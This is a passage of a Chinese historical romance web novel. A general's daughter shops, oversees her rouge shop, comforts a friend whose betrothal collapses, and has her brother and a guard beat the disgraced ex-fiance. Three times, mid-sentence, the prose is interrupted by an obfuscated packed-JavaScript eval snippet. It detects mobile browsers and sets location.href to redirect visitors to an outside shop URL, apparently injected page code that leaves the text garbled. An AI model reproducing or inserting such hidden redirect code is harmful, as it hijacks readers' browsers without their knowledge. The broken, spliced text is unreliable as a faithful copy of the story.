“哼……这还差不多。”这么想着,她压下心中的不自在,垂下手走到时野面前,从盘子里拿起一颗荔枝,然后朝外走去。 半个多月未出门,黎书意想去的地方有很多,这首个地方自然是文心书局,不过这回她并非是去查看《学崖》售买情况的,而是为了去拿书的。 人刚下马车进入店里,一站到柜台前苏先生便把书递给她,“这个月的《集贤文集》。” “谢谢。”黎书意笑着接过,然后就地翻看起来。 《集贤文集》的诗词出自各大诗会或雅集,苏先生会选取其中的优秀篇章,然后编撰成册,以供他人鉴赏,黎书意每月必看。 翻了两页,她向苏先生告辞,接着去了西陵轩。 西陵轩是一家集成衣、绸缎、鞋袜和其他饰物于一身的大型服装铺,在孟章颇有名气。 其中成衣每月出一次新品,因衣裳款式独特,做工精致,所以许多世家大小姐都争相购买,黎书意是铺子里的常客。 进到店中,刚上二楼,一名青衫女子便笑迎过来道:“有些时候未见着黎二姑娘了。” 来人名叫祖绣宣,正是西陵轩的老板,虽然才双十年华,但很有经商头脑,仅用三年时间便将店铺在皇都经营得有声有色了。 祖绣萱引着她往店内展示新品的区域走去,并边走边向她介绍:“本月成衣以琼花为灵感,制作了各种花饰,衣裳上嵌珠刺绣,图案独特,二姑娘可看看有没有喜欢的?” 她在祖绣萱的招呼下边走边看,眼睛从那些精美的华服上一一扫过,最终选了一套青绿色的。 挑完成衣,她继续选择锦缎,店里的衣料质量上乘,颜色丰富,花纹别致,她一共挑了八匹,其中不止有为她挑的,还有为父兄挑的。 待选购完了,她走进贵客室里闲坐,等候兰亭督促店中伙计打包。 正在喝茶时,忽然发现不见时野的踪影,担心他这个初来乍到的异乡人走丢了,她便起身出门寻找。 到了门外,在转角处看见他与祖绣宣站在一起,她心生疑惑,想不出这两个八竿子打不着的人在一起能聊什么,于是带着疑问靠近。 8. 老板 祖绣宣说话时瞥见了黎书意,含笑向她解释起来:“下月我打以胡服为灵感制作新成衣,看他的头发猜他来自大漠,所以便问问。” 是这样吗?瞟了一眼时野的头发,黎书意觉得似乎也合理,便未再多问,只对他道:“走吧,东西应该已经装好了。” 到了柜台,见衣裳与布料果然都已经打包好了,兰亭正在指挥伙计将箱子搬到门外的马车上。 黎书意站在一旁等着,抬箱子的人不时从面前走过,这时,听见了时野轻微的叹气声,她不悦地转过头,瞅着面具后的黑眸说:“怎么,觉得我铺张?” 谢烜赫不过是感叹罢了,没曾想竟然会招来质问,身为贵族,谁不是锦衣丝履,他哪有指责的资格。 只是虽然他在穿着上也很讲究,但并不会花费太多的心思,然而眼前这人就不同了,她在衣裳首饰上极为用心,从前与黎长策往来的书信中,他曾吐槽过妹妹爱买衣裳,来孟章之后谢烜赫算是彻底见识了。 每每见黎书意她都穿得不一样,色彩之多,款式之繁,一日换两套衣裳也是常有的事,可以几个月不带重样的,若是将她房内衣柜和描金箱子里的衣裳摆出来,简直堪比院中百花。 美人琼姿花貌,华冠丽服,有时多彩耀目,有时清新雅丽,有时浓淡相宜,极赏心悦目,他哪有不满,遂回道:“没有。” 少女似是不信,轻哼一声道:“我花的可是自己赚的钱。” 说完撇下他,转头往西陵轩旁边的店铺走去,他从容跟上。 清芙阁,谢烜赫看着那边框上雕饰着花草的匾额,然后紧随少女其后,跨步入店。 “二姑娘,您来了。” 黎书意一走进门,店里的人便朝她看来,倒不是她有多大的威慑力,而是这个铺面是她的。 一名俏丽的绿衣女子将她迎至里间,又吩咐伙计去泡茶,自己则走到立柜前打开了锁,从里面拿出一本账本递与她。 黎书意接过账本,随即坐到了椅子上,将账本放在案上,她先看了一眼时野,然后才低下头认真翻看起来。 谢烜赫嘴角微扬,少女的这番举动显然是在告诉他——我是这间店铺的主人。 他知道,并且他还为这间店铺出过力。 半年多前,昭王府还未出事,彼时他还在弘学馆里读书,有一日黎长策忽然向他打听,问商市里有没有合适的铺子要出租。 他初听时觉得奇怪,细问过后得知,原来是黎书意要开胭脂铺。 他是知道将军府上下有多宠爱黎书意的,也知道黎书意有多能折腾,然而初闻这打算时还是被吓了一跳。 一府的当家主母打理家产,管理商铺在常人眼中是合乎情理的,可一个未出阁的高门贵女做这些,未免会被认为沾染了太多铜臭。 最后,他随黎长策去了工部一趟,替她挑了一个地段极好,大小适中的铺子,让清芙阁得以落成。 铺面的事情解决了,黎书意紧接着开始研究起经营之道,翻阅各种相关书籍。 谢烜赫以为没自己的事了,哪知黎长策又来找他,问他要借书证明。 一问才知,黎书意为学习商道,请求她的兄长从观文殿中借书,兄长的借阅数量用完了,便把主意动到他身上。 他哪有不答应的,自去了观文殿,按照黎长策给的条子,找到了所需书籍,那当中除了关于经营之道的,更多的是医书和讲述胭脂水粉制作的书籍,当他去登记的时候,还被登记的小吏询问他借这书做甚。 收拢了思绪,谢烜赫看着正与人讨论铺子经营情况的黎书意,近一年的时间过去,如今这店已经打理得有声有色了。 再扫一眼她旁边的女子,由于常去将军府的缘故,他是识得这姑娘的,她是黎书意的贴身侍女,唤作春雪,原名似乎叫舒凌寒。 听黎长策说,她从前也是官宦人家的女儿,十岁左右因变故家道中落,痛失双亲,在亲戚家日子过得艰难,这才不得已签长契进府当差。 因小时候读过些书,能写会算,是黎书意身边最得力的大丫鬟。 身份使然,黎书意无法日日抛头露面,于是她便把照顾铺子的事交给了这位有野心的姑娘。 “好。” 那边,黎书意已经看过账册,将本子合上,她从椅子上起来。 待伙计把铺子里的新品包装好,他们离开清芙阁打道回府了。 …… 丽日当空,夏蝉躲在树上鸣叫,与它唱合的是载驰院里发出的痛吟,黎书意手捂着腹部躺在贵妃榻上哼叫,一声比一声响亮。 “二姑娘,是不是很疼?” “疼——” “您再忍忍,姜茶一会就煮好了。” 谢烜赫是被黎书意的叫声给吸引来的,一听见声音他马上就飞奔过来了,然后就看到了侧躺在贵妃榻上的人。 美人身着玫瑰色衣裳,素手捂着腹部,峨眉轻蹙,朱唇微张,柔弱娇媚得让人移不开视线。 不过,这美如果是以痛为代价的,那就没有欣赏的必要了。 从黎书意身上移开目光,他问手足无措侍立在旁的兰亭:“出何事了?” 兰亭瞥一眼急冲进来的时野,想着他身为侍卫,担心二姑娘的安危实属应当,便回道:“二姑娘身体不舒服。” “怎会不舒服?” 兰亭顿了一顿,答说:“近日天热,二姑娘贪凉吃了一碗冰。” “冰?”谢烜赫移目看向还在低吟的黎书意,寒凉的东西吃多了确实对肠胃不好,不过她的身体不至于脆弱到吃碗冰就这样了。 “可请府医过来看了?”他追问。 “不用请,药已经在熬着了。”兰亭委婉地说,她有点怕时侍卫,他人高马大的,说话的语气也有点严厉。 “我去端来。”谢烜赫未再多问,说完转身出门了。 到了厨房,他对厨子直言道:“我来端给二姑娘的汤药。” “马上就好。”厨子说着走到炉边。 谢烜赫站在旁边等待,看着厨子抬起药炉将深红色的汤汁倒入碗中,奇怪的是他并未闻见苦涩的药味,反而闻到了一股浓郁的姜味。 他起先疑惑,在脑子里转了个弯,方才明了,他年已十七,知道女子每月会来癸水,腹痛难忍时会饮姜茶缓解。 无意窥见黎书意的隐私,他羞臊得耳根瞬间滚烫,接着想到她是因为癸水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545667|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时期吃冰所导致的腹痛,忍不住在心头责怪,怪她也太不忌口了。 待厨子把姜茶倒好了,她抬着托盘返回黎书意房里。 榻上的少女似乎是没力气了,声音比刚刚要低了几分,像是猫叫一样,他走上前去。 兰亭从他抬着的托盘里端了碗,然后蹲下身凑到少女边上,用瓷勺舀汤吹温了喂少女,少女朱唇轻启,配合地张口喝汤。 谢烜赫忍不住开口劝道:“二姑娘该忌口的。” “可是天太热了。” 少女蛾眉轻蹙,声音娇软,忍痛抱怨的模样真是让人又怜又爱,他几乎要绷不住,最后还是冷静道:“身体更重要。” 说完,看向兰亭,“你应该制止的。” 兰亭噎住,想说她劝了,可是二姑娘不听,她能怎么办,还有这命令的口吻是怎么回事? 喝下一整碗热汤,黎书意显然好受了不少,她调整了个舒适的姿势,继续躺在榻上修养。 这时,黎长策从外头跨步进来,边走边道:“小妹,林府出事了。” “出何事了?”黎书意右手撑着榻问道。 “那赵承勋似乎作风不检点,被林伯父抓了个正着。” “什么!”闻言,黎书意彻底坐直了身子,一时都忘记了疼痛。 “就知道他不是个好东西。”末了,她数落起来。 黎长策自顾自说完,方才发现妹妹脸色苍白,额上沾着一层薄汗,忙问:“你身体不舒服?” “我没事。”黎书意摇摇头,说着从榻上起来,“我这就去林家。” 黎长策在旁劝道:“既然身体不舒服,不如明天再过去?” “不用。”黎书意坚持道,然后转头对兰亭说,“你让人备马车。” 说毕她转身,准备去里间换衣服。 谢烜赫跟在她后头道:“我陪二姑娘一起去。” 黎书意摇头拒绝了,他去了也是在那干站着。 忍着腹痛,黎书意来到林府,一进内院,便听到林伯父正在怒骂,那声音即便隔着数十步的距离,也依旧清晰可闻。 只听见他骂道:“定亲十三载,如今我女儿还未嫁过去,他就敢乱来,收通房也就罢了,居然还搞出人命来,让我林家的脸往哪搁!” 搞出人命?黎书意惊呆,她以为赵承勋是喝花酒被未来老丈人无意撞上了,没成想居然是这样。 大户人家的少爷未婚娶之前收通房实属寻常,但这到底不是什么光彩之事,像林静仪和赵承勋这种自小定亲的,为显尊重,基本都会先知会未婚妻子一声。 林伯父是当朝的御史大夫,林家家风清正,而且声望早就超过昌顺伯府了,绝不可能会允许这种情况的发生,所以那头便暗度陈仓了。 黎书意正在踌躇进与不进,林伯父已然发现了她,遂止住了怒骂,紧接着姜伯母和林静仪的妹妹林洛初也看见她了,两人朝她走了过来。 到了跟前,姜伯母感激地看着她,“来得正好,你和静仪关系最好,帮忙多开导一下她。” “我会的。”黎书意点头。 待姜伯母折身回去了,黎书意低声向林洛初打听情况:“到底怎么回事?” 9. 撮合 虽透过林伯父的怒骂了解了部分情况,但具体经过到底如何,黎书意仍然不够清楚。 林洛初耸肩答她:“今早父亲上朝回来,在路上碰见了那烂人,正想开口叫他,发现他扶着一个大腹便便的女子下马车,父亲看他们关系不正常,便上前质问,那烂人经不住盘问,最终说了真话,承认女子是他收的通房,还有了六个月的身孕。” 黎书意能想见那个场景,不过她不会有半分同情,反而觉得庆幸,还好婚前看见了,不然林静仪得受多大的委屈。 低下头,发现林洛初脸上竟是一点都不伤心,便问:“怎么看你没感觉?” “我巴不得这桩姻缘断了,为什么要难过。”小丫头说完反问她,“难道姐姐不是?” 话虽如此,只是婚事告吹即便是好事,但是以这样的方式却非她所乐见的,尽管知道林静仪对赵承勋并没有什么感情,但料想她心里定然不会好受。 “你姐姐在哪?” “在她院里。” “我去看看她。” 黎书意来过林府无数次,对院内格局十分清楚,不一会她便走到了林静仪的房门口。 让兰亭站在门外等候,她独自开门进屋了。 推门进去,见林静仪坐在桌边发呆,整个人看着无精打采的,听见动静遂扭转过头,看到是她,扯出一丝微笑淡淡道:“你来了。” 黎书意什么也没说,只在她旁边坐下来。 坐下之后,她苦寻开导的措辞,还未找出合适的话来安慰,林静仪反倒主动开口了,自顾自向她诉说起来: “从我懂事起,便被告知未来的丈夫是昌顺伯府家的大公子,小时候不懂事,只知道那是未来要一起生活的人,到稍大一点了,我对这个人曾抱有过期待,第一次见面时我失望了,但是我想着自己并不了解他,不该妄下断言,可后来每次见面积攒的是更多的失望。只是已经定下来的婚事,不好悔信,所以即便不期待,我还是接受了,未曾想婚期临近了却发生了这样的事……” 说着,林静仪忽然偏转过头来,目光黯淡地看着她,“婠婠,其实我并不难过,可是我觉得难堪。” 黎书意听得心头狠狠一抽,她明白林静仪的感受,找不到更好的劝慰方式,便叹道:“我也差不了多少,谢煜然与庞安澈之女的事最近不也传得沸沸扬扬的?” “你啊,”林静仪无奈地一笑,用食指点她一下道,“何苦为了安慰我贬低自己呢。” 黎书意无所谓地耸肩,“这本就是事实。” 尽管林静仪的状态看起来没那么糟糕,可婚期临近时发生了这等丑事,对女方的打击太大了,这个时候她需要安慰和陪伴,所以黎书意便在林府留了下来。 傍晚时分,侍女玉绿进屋来报,说是昌顺伯府来人了,伯爷和伯夫人亲自登门拜访,现在正在前厅与老爷夫人叙话呢。 黎书意听后鄙夷地轻嗤一声,那通房又不是今日忽从天降,这伯爷和伯夫人岂会不知,明明就是自己默许的,现在装什么好人。 纳通房致使人怀孕就够过分的了,居然还想着婚前把人送到庄子里,企图瞒天过海让林家吃暗亏,实在可恨。 晚上,黎书意与林静仪同衾而眠,两人自小亲近,从前这样的情况并不少见,只是近两年年岁大了,就难得有机会了。 躺在床上,她们没有再聊赵承勋与昌顺伯府那堆破事,只说些女儿家的私话,聊到时候晚了,便停下来闭眼休息。 夜色深沉,黎书意尚未睡着,她侧身看着旁边呼吸均匀的林静仪,心里头起了计较。 虽说退婚已成定局,但是毕竟六礼都快走完了,如今要退程序也颇多,两家人免不得要多番打交道,这今天来明天来的,林静仪刚好转的心情随时可能被破坏,不如带她出去住。 翌晨,她让兰亭率先回将军府,吩咐她备好干净的客房,说是要邀请林静仪去家里小住。 对林静仪讲时,她欣然接受了这个提议,姜伯母也表示赞同,于是用过了午膳,林静仪便随黎书意回将军府了。 将林静仪接到府上,黎书意放下创作,尽心地陪着她,今日抚琴,明日对弈,后日六博,偶尔拉上兰亭,甚至有时候也会让时野上场。 如此过了三天,旬日到了,兄长迎来休沐。想着机会难得,黎书意便提议说去赏荷,林静仪与兄长皆点头同意,于是这事隔天就安排上了。 …… 西庭湖上,层叠的翠叶与蓝天相接,星星点点的粉红点缀其中,凉亭里,随侍将点心、果品和凉饮摆到桌上,然后退到亭外守在两侧。 黎书意凭栏而坐,她放眼望着面前的十里荷花,微风不时拂面而过,送来阵阵清香。 虽然近来她心情不错,并没什么烦心事,可置身其中仍感觉心绪都被抚平了。 欣赏完美景,她转回头看着桌前对坐的两人,男的举止得体,女的恪守礼节,这疏离的情景着实令她心头发急。 他们一个是她的兄长,一个是她的手帕交,她看得出兄长对林静仪的关切,同样也看得出林静仪对兄长的倾慕,可因为婚约的阻隔,从前他们一直保持距离,不曾逾越过半分。 现如今这道天堑已经没有了,她想着也是该捅破窗户纸的时候了,这两人怎么还扭扭捏捏的。 她之所以提议赏荷,一来是为了给林静仪放松,二来便是为了撮合两人,这客套的画面可不是她要的。 想着可能是因为有她在,所以他们不便深谈,于是借口道:“我观这荷花开得正好,打算乘舟摘两枝赏玩,你们慢聊。” 说毕,她起身朝外走,即便看见了林静仪向她投来哀求的眼神,她也全当看不见。 走到亭外,兰亭和时野先后迎过来。 “我想泛舟。”她说,然后向岸边看去,那里就有备好的小舟,接着她一指时野道,“你来划船。” 谢烜赫点头,旋即他迈步向泊船的岸边走去,接着动作轻快地抬腿登舟,等人在船上站稳了,便递出胳膊。 黎书意伸出手搭在他肌肉紧实的臂膀上,然后小心翼翼地抬脚,奈何右脚才刚踏上船板,船顿时轻晃起来。 这时,一只大手递了过来,她赶忙拉住,身体稳住了,才落下左脚。 独木舟微微晃动了一下,两人迅速调整姿势,适应着这短暂的不稳定。 湖堤上,见二姑娘已经站稳了,兰亭打算登船,然而步子还未迈出便被制止了。 “你不用下来了。”黎书意开口阻拦,这舟本就小,顶多容得下三人,如今舟上有她,还有一个人高马大的时野,俨然不好再上人了。 往凉亭瞥了一眼,她吩咐道:“对了,你让他们都离兄长和静仪远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545668|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些,别打扰他们。” 兰亭闻言顺着她家二姑娘的视线看过去,瞧见亭子里对坐的两人,她露出了然的微笑,忙应道:“婢子知道。” 见事情交代完了,黎书意头一点,挥手示意时野划船。 长蒿入水,向后划开,船缓缓前移,冲开片片绿叶,渐渐深入几乎有半人高的荷花丛里。 “二姑娘是想撮合少将军与林大姑娘?” 时值盛夏,湖中荷花生得繁茂,黎书意正左顾右盼欣赏美景,闻言她偏转过头,问撑蒿的人:“你不觉得他们很般配吗?” 说罢,并不等回答,又问:“安士可有荷花? 少女轻轻拉过近旁的荷花,然后凑头嗅着,一副沉醉其中的模样,荷花虽然娇艳欲滴,但是眼前的人比花还要娇艳百倍。 谢烜赫回答问题:“没有。” “那今天你可得趁此机会好好欣赏一番。”少女松开碧绿的茎杆,笑对着他说道。 春赏牡丹,夏赏荷,秋赏菊花,冬赏梅,这是勋贵圈子里每年必有的活动,且来来回回就那么几个地方,若不是宴上有特别的人在,其实过程很无趣,谢烜赫多数时候没什么兴趣。 船悠悠向前划着,河岸和凉亭被远远抛在后边,越向里行叶越稠花也越密。 “停。”眼见面前这片荷花开得灿烂,黎书意出声叫停。 翠叶千叠,花枝挺立,花朵舒展如碗大,花瓣从白晕染到粉,再到最后深红一点,可惜这次出来她并未带画笔,无法记录这里的美景。 微微叹息过后,她打算采一些回去,几枝插到花瓶里赏玩,剩余的则送到厨房,让厨子做道雪霞羹,也算是时令美食了。 这么想着,她站起身来预备采莲,可这一站,小船顿时失了平衡,剧烈地摇晃起来,她的身体也跟着左摇右摆起来,这才方想起自己在小船上呢…… 虽然她已经学会了凫水,但这里荷叶茂密,只怕就算会水也没那么容易上来,心头便一时紧张无比。 “别怕,手给我,你慢慢向前走两步。”惊慌失措间,一只修长的大手伸了过来。 她连忙拉住,手上传来的温暖触感让她心神定了两分,她依言小心挪步,慢慢地,船不晃了,她的心跳也渐渐恢复正常。 “二姑娘若想要荷花,卑职可以帮您采。” 黎书意闻言摇头,都代劳了还有何乐趣可言。 余惊过去,她开始采荷花。 这次,她牢记自己在船上,每踏一步都格外小心,船终于不再像之前那般晃动。 这一片荷花长势极好,没用多少时间便摘了十余朵,估摸着够了,她停手。 握着新摘的荷花,她放眼往凉亭看过去,由于被柱子给遮挡了,那边的情形看得并不真切。 想着自己已经出来好一会了,应该够两人深入交流了,便缓缓蹲下身,在船上坐好,“我们回去吧。” 到了岸边,兰亭和绿沉都迎过来,黎书意把花递给绿沉,然后牵着兰亭的手抬脚上岸。 整了整衣裳,她往凉亭走去,原以为少了自己,这两人会更亲近些,然而事实令她失望,她去时他们什么模样,回来是他们便什么模样。 她心中泄气,后来又想到如今这两人之间再没什么不可逾越的阻碍了,也不急于一时,慢些便慢些吧,之后她多使使力就行。 10. 揍人 晴云轻漾,熏风无浪。用过午饭,黎书意让兰亭找来鱼具,然后拉着林静仪坐到池边,执杆钓起鱼来。 池上微波粼粼,四下一片静谧,钓了半日,却不见鱼来咬钩,黎书意有些丧气。 瞥头往旁边看去,见林静仪面色沉静,在将军府住了五日,她的心情俨然好了不少。 正钓着,兰亭领着玉绿从月洞门走了过来,闻脚步声接近,两位少女一齐转头。 玉绿先向黎书意施了一礼,然后对自家主子道:“聘礼的账目昨个儿已经彻底算清了,老爷说请大姑娘现在便回去,让赵世子给您当面道歉。” 林伯父不愧是言官,黎书意闻言在心头夸赞,见林静仪迟疑地朝她看过来,她忙鼓励道:“去吧,这是他该的。” “好。”林静仪起身,末了又看着她,“那你陪我一起。” 黎书意点头,能看赵承勋的笑话,她为什么不看。 将鱼竿递给时野,她与林静仪即刻动身赶往林府。 林府,尽管正厅里坐满了人,可是却安静得针落可闻。 黎书意往前面看,见林伯父和姜伯母昂首坐在主位上,面目严肃。 往左边看,见伯爷和伯夫人一脸歉疚,尤其坐在末尾座位上的赵承勋更是低埋着头,神色紧绷,似乎是羞愧难当。 往右边看,林洛初脸上带笑,俨然一副看戏的模样。 “父亲母亲。”林静仪先向双亲问候,接着偏转过身体,礼数周全地向右边行礼道,“见过伯爷伯夫人。” 末端的赵承勋则直接给她略过了。 黎书意照样是问候了一遍,旋即她在林洛初旁边坐下,同小丫头一样,她也等待着看好戏。 人已经到齐,然而却没人开口,沉默的空气中充满着尴尬的味道。 过了一会,昌顺伯轻咳一声,打破了沉默,他面对着林静仪说道:“乖侄女,是老夫管教无方,今天特意带着这浪荡儿子来给你道歉。” 说这话时,昌顺伯面色微红,接着他偏转过头,厉声呵斥道:“还不快给我滚过来!” 赵承勋被吼得一个激灵,他“唰”一下极速起身,然后慢慢向林静仪走过去,待到了跟前,他瞟了面前的少女一眼,又望了望四周,话是如何都说不出口。 “还不道歉!”昌顺伯又是一吼。 赵承勋只得依言行动,抛下面皮低声下气道:“林大姑娘,是我对不住你,你我自小有婚约在身,我却约束不住自己,做了如此混账的事,害你受委屈,还被外人非议。” 言毕,他观察着林静仪的神色,少女眉目如画,面色沉静,秀丽若带雨的梨花,这样美好的人明明就要得手了,因为一时疏忽,这下泡汤了。 林静仪没有立刻接话,虽然这桩姻缘她半点不看重,但是遭受了如此大的侮辱,沉静如她也实难不在乎,差一点,她就要羊入虎口了。 故意空了两句话的时间,她才终于开口,直视着赵承勋质问道:“我林家家风清正,你既有这心思,应当提前知会我一声,可是你没有,你收了通房之后,应当顾及妻子还未过门,小心不让她有孕,可是你没有,通房既有了身孕,你便不该为了成婚而掩盖事实,将身子重的人送到庄上去,可是你没有。” 她看着因为羞臊而眉目低垂耳朵泛红的男子,说了最后一句话:“是我与世子无缘,愿世子与那位姑娘举案齐眉百年好合。” 昌顺伯和夫人适时站起身来,昌顺伯摆出公平公正的姿态打圆场道:“我这就让他回老家好好反省。” 说毕,他向上座的林父与姜母作礼告别:“既道过歉了,我们也就不久留了。” “慢走不送。”林文正起身回礼。 两方客套完了,昌顺伯转头就走,赵承勋唯唯诺诺跟上,伯夫人追着父子二人,前行途中留下断断续续的指责声和维护声。 等这家人走远了,座位上的人都站了起来。 看着吵吵闹闹离开的三道背影,黎书意觉得格外解气。 “哼,之后回家有他受的。”姜伯母说着走了过来,旋即她拍了拍林静仪,柔声安慰,“没事了,都过去了。” “嗯。”林静仪点头。 黎书意望着母女二人,露出松快的笑容。 在林府小坐了一个时辰,她婉拒了留下用饭的邀请,辞别一家人,然后离开了。 回去的路上,街边的议论声时不时透过马车传入她耳中,和来时一样,大家依旧在说赵承勋致通房怀孕的丑事。 还说,林静仪退亲的做法不妥当,未来的姻缘恐会受到影响,听着听着,她心里几乎消散的郁气又重新聚集起来,错的人又不是林静仪,凭什么她也要承受损失。 黎书意气哼哼地回到家中,即便刚刚才见了那烂人道歉的窝囊样,可她现在觉得这还不够,真想好好打他一顿。 对,为何不打他一顿呢?黎书意觉得这主意不错,打定了主意她转了方向,往兄长的玄微院跑去。 来到兄长院中,问过院里洒扫的小厮,得知他并未在院里,而是在马厩,于是黎书意转而往马厩去了。 因父亲、兄长和叔父全是武将,他们甚爱骏马,家中算下来得有百余匹马,所以府里的马厩建得很大。 虽出入常经此处,但黎书意对这个地方并不熟悉,走进马厩,问过厩丁,终于在内厩找到了兄长。 他非一人在,旁边还站着时野,两人正在说话,尽管表情看不真切,可观画面,两人和谐得宛如多年老友,黎书意心头怀疑的火苗又点着了。 正看着,见时野抬眼朝这边看来,接着兄长的目光也投到她身上,于是她在二人的注视下向前走去。 “兄长。”行至跟前,她唤道。 黎长策颔首应着,然后问自家小妹:“听时野说你刚刚去林府了?” “嗯。” “情况如何?” “那烂人自然是当面向静仪道歉,然后再回老家躲羞去了。”黎书意笑答,答完她的目光在面前的两人脸上流转,“你们俩刚说什么呢?” 黎长策一脸平静道:“向他讨教饲马之事。” 黎书意观兄长说话时神色自然,且想到时野的父亲是司马,此时他们人又身在马厩,问这事再合理不过,于是那冒头的猜疑便又熄灭了。 “这是你的马?”她下巴朝侧旁一抬,看着马槽里的马问时野。 父兄皆是爱马之人,她耳濡目染,对马的品相略有了解,眼前这马体型高大,四肢强壮,浑身上下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545669|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如墨般黑,无半根杂毛,长得雄俊漂亮,不比父亲的云奔和兄长的逐影差。 一个侍卫骑这样的马未免奢侈,可安士本就盛产名马,况且他父亲还是管马的,有此良驹倒也说得通,想毕又问:“它可有名字?” “蹑荆。” 还挺有气势。 “对了,你找我何事?”正看着,闻兄长忽问。 经他提醒,黎书意这才想起来她来这的目的,知道自己所托之事并非君子所为,她迟疑了一下,然后看着面容温和的少年柔声软语地提出请求:“兄长,你能帮我揍赵承勋吗?” “他不是已经当面道歉了吗?” “我不解气。”黎书意愤愤道,说完拉起兄长的袖子摇了摇,“你是不知道外面的人都怎么议论静仪的,求求你了。” 黎长策沉吟了一下,最终点头了。 “就知道你最好了。”见撒娇成功,黎书意露出笑容,旋即瞥向时野,“要是你不愿亲自动手,可以叫上他。” “我也得去?”突然被点名,谢烜赫诧异发问。 “怎么,你不愿意?” “愿意。”谢烜赫不敢有异议。 “那就拜托时兄了。”看着黎长策搭到自己肩膀上的手,他说不出的无奈。 深夜,两抹高瘦的身影隐匿在浓黑的深巷之中,等待着猎物的到来。 “我说,你真要做?”一道清冽的男声问道。 另一人无奈地回答:“没办法,妹妹要求的。” “难道就没有林大姑娘的原因?” 话音落下,借着皎洁的月光,照出了两人的面容,他们一人是黎长策一人是谢烜赫。 默了片刻,黎长策到底开了口:“就将军府目前的处境,还是不要耽误她为好。” 话题突然变得沉重,深巷回归最初的寂静。 就在这时,一道带着醉意的声音传了进来,发出声音的人正是他们等待已久的目标,赵承勋。 “哼,下午才刚退婚,现在就喝酒喝得烂醉如泥,的确该教训教训。”黎长策看着走在路上东倒西歪的男子,闪身冲出。 见好友的身影从眼前飞掠而过,谢烜赫有片刻的迟疑,并没有马上追出去,他这十七年的人生里,打过杀过的人不计其数,可从没有这般偷偷摸摸的揍过人。 然而没办法,他家二姑娘要求的,他也只能遵从了,摇了摇头,他紧随其后冲了过去。 赵承勋正哼着歌,最近他被父母责骂了无数次,今日又被林家人刻意侮辱了一番,心情郁结得不得了,一想到明天就得回老家,他整个人都不好了。 林家对婚事早有不满,林夫人姜氏与大将军之妻姚氏素来交好,心头分明属意于黎长策,只是碍于承诺不好为之,今次不过借着这个错处不落口舌地将婚给退了。 “哼!”想到这,他愤恨地把酒壶一甩,“啪”的一声,酒壶碎裂,同时视野也陷入黑暗。 迷迷糊糊正在奇怪,“砰”的一拳打在了他脸上,接着又“砰”一拳打在了他腹部。 疼痛让他恢复清醒,他反应过来自己这是被人给打了,遂怒吼道:“谁,是谁,我可是昌顺伯府的世子!” 然而没有人回他,拳头却如雨点落下。 11. 咳嗽 次日,用过早食,黎书意到外面呼吸新鲜空气,在水榭坐下后,她将吃剩的面饼撕碎了扔到池中,鱼儿闻到食物的气味,乌泱泱聚过来争食。 正喂着,兰亭疾步走了过来,报与她说:“二姑娘,来消息了!” “说。”她拍了拍沾有碎末的手。 “大家都在说昨天晚上昌顺伯府的世子被人套麻袋打了一顿,今早脸肿得像个猪头一样,上马车时遮遮掩掩的,根本不敢见人。” 黎书意满意地勾起唇角,这时,闻一旁的时野道:“二姑娘就这么开心?” 瞥了他一眼,黎书意回说:“为什么不,我一想到他要顶着个猪头脸回乡就想笑。” 说毕,她抽出手绢,细致地擦拭葱白似的指节,脸上是幸灾乐祸的笑。 谢烜赫见状无奈地摇头。 一整个早上,黎书意的心情都格外舒畅,连带着胃口也好了不少。 午间天热,吃罢中饭,她又挪身到水榭纳凉了。 正吹着风,兄长走入院中,在对面坐下来,望着她道:“这回可满意了?” “那是自然。”她浅浅一笑,又反问说,“你怎么就回来了?” “再过几月就结业了,学馆里课不多。” 黎书意了然点头,然后兄妹俩一边吹风一边聊闲话。 刚聊没几句,富春姑姑走进来道:“二姑娘、少将军,林大姑娘来了!” 黎书意听后喜笑颜开,猜林静仪准是听见了传闻才来的。 正笑着,就见林静仪与玉绿手里各提着一个提盒朝他们走来,到亭中,林静仪将提盒放到石桌上,说:“这是我午间刚做的,特意带来给你们尝尝。” “快坐。”黎书意拉她坐下。 林静仪在石墩上落座,坐下之后她抬眸瞟一眼面前的兄妹,心中有点难为情,嗫嚅许久终是开口问道:“婠婠,那赵承勋……” “没错,是我。”黎书意果断承认了,随即给兄长表现的机会,指着他和旁边站立的时野道,“我让兄长和时野做的。” 闻言,林静仪瞥向对面秀眉俊目的少年,柔声道:“谢谢黎大哥。” “应该的。”少年说着朝她看过来。 两人目光霎时间对上,她脸颊一热,急忙收回了视线,一面打开面前的提盒,一面道:“我做了一些点心,还有山药红豆饮,你们快尝尝。” 盒子打开,一股淡雅清香悄然飘出,露出里面造型别致的小点心。 